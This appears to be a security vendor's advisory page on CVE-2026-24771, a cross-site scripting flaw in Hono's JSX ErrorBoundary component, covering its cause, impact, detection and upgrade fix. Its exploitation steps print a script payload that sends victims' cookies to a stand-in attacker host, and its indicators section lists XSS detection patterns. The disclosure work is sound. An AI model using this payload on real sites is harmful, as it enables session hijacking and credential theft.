CVE-2026-24771: 
JavaScript vulnerability analysis and mitigation

Overview

CVE-2026-24771 is a Cross-Site Scripting (XSS) vulnerability in the ErrorBoundary component of the hono/jsx library within the Hono web application framework. The flaw affects all Hono versions prior to 4.11.7 and was disclosed on January 27, 2026, with a patch released the same day. It carries a CVSS v3.1 base score of 4.7 (Medium) (GitHub Advisory, Hono Security Advisory). IBM watsonx Orchestrate with watsonx Assistant Cartridge is also listed as an affected downstream product (IBM Advisory).

Technical details

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation). In src/jsx/components.ts, the ErrorBoundary component previously forced certain rendered output paths to be treated as raw HTML via the raw() helper, bypassing the library's default HTML escaping behavior. This means untrusted user-controlled strings passed directly as children to ErrorBoundary, or returned by the fallbackRender callback (e.g., reflecting attacker-controlled error messages), would be rendered unescaped into the page. The fix, applied in commit 2cf6004, wraps string content through jsx(Fragment, ...) instead of raw(), ensuring proper escaping is applied (Hono Security Advisory, Patch Commit).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in a victim's browser (reflected XSS), which can lead to session hijacking, credential or token theft, data exfiltration, and unauthorized actions performed on behalf of the victim. The scope is changed (cross-component), with low confidentiality and integrity impact and no availability impact. Exploitation is conditional on the application passing untrusted user input into the ErrorBoundary component without prior sanitization (GitHub Advisory).

Exploitability

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation as of the time of disclosure (GitHub Advisory). The EPSS score is approximately 0.036–0.069%, placing it in the lower percentiles for exploitation likelihood. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires high attack complexity and user interaction, further limiting practical risk.

Exploitation steps

  1. Identify a vulnerable target: Find a Hono application (npm package hono < 4.11.7) that uses the hono/jsx ErrorBoundary component and reflects user-controlled input either as direct children or via the fallbackRender prop.
  2. Craft a malicious payload: Prepare an XSS payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or <img src=x onerror=alert(1)>.
  3. Trigger the ErrorBoundary: Deliver the payload through an input vector that causes the application to pass the attacker-controlled string into ErrorBoundary — for example, via a URL parameter, form field, or error message that is reflected in the fallback or fallbackRender prop without sanitization.
  4. Achieve script execution: Because the vulnerable ErrorBoundary renders the string as raw HTML (bypassing escaping), the injected script executes in the victim's browser when they visit the crafted URL or trigger the error condition, enabling session theft, data exfiltration, or other malicious actions (Hono Security Advisory).

Indicators of compromise

  • Network: Unusual HTTP requests containing HTML/script tags (e.g., <script>, <img src=x onerror=) in query parameters or POST body fields directed at Hono application endpoints; outbound connections from victim browsers to unexpected external domains following page load.
  • Logs: Server access logs showing requests with URL-encoded XSS payloads (e.g., %3Cscript%3E, %3Cimg+src%3Dx+onerror%3D) in parameters that are reflected in error responses.
  • Browser/Client-Side: Unexpected JavaScript execution in the browser context of users interacting with error pages; browser console errors or network requests to attacker-controlled domains originating from the application's origin.

Mitigation and workarounds

Upgrade the hono npm package to version 4.11.7 or later, which patches the ErrorBoundary component to properly escape user-controlled strings (Hono Security Advisory, Patch Commit). As a defense-in-depth measure, ensure all user-controlled input passed to ErrorBoundary (as children or via fallbackRender) is explicitly sanitized or escaped before rendering. IBM customers using watsonx Orchestrate with watsonx Assistant Cartridge should apply the relevant IBM security updates (IBM Advisory).

Community reactions

The vulnerability was reported by security researcher kilkat and published by Hono maintainer yusukebe on January 27, 2026 (Hono Security Advisory). Community coverage has been limited, consistent with the moderate severity and lack of active exploitation. A technical write-up was published on dev.to shortly after disclosure, and the issue was tracked by standard vulnerability aggregators.

Additional resources


Source: This report was generated using AI

Related JavaScript vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-gvwc-5hr5-44p8HIGH7.5
  • JavaScript logoJavaScript
  • probe-image-size
NoYesOct 26, 2026
GHSA-5jh3-w3fj-6758LOW3.7
  • JavaScript logoJavaScript
  • probe-image-size
NoYesOct 26, 2026
GHSA-5v8x-rm7w-m4c7LOW3.7
  • JavaScript logoJavaScript
  • probe-image-size
NoYesOct 26, 2026
GHSA-7pqp-3q23-mwr8LOW3.7
  • JavaScript logoJavaScript
  • probe-image-size
NoYesOct 26, 2026
GHSA-3qg4-7mq2-gm93MEDIUMN/A
  • JavaScript logoJavaScript
  • probe-image-size
NoYesOct 26, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management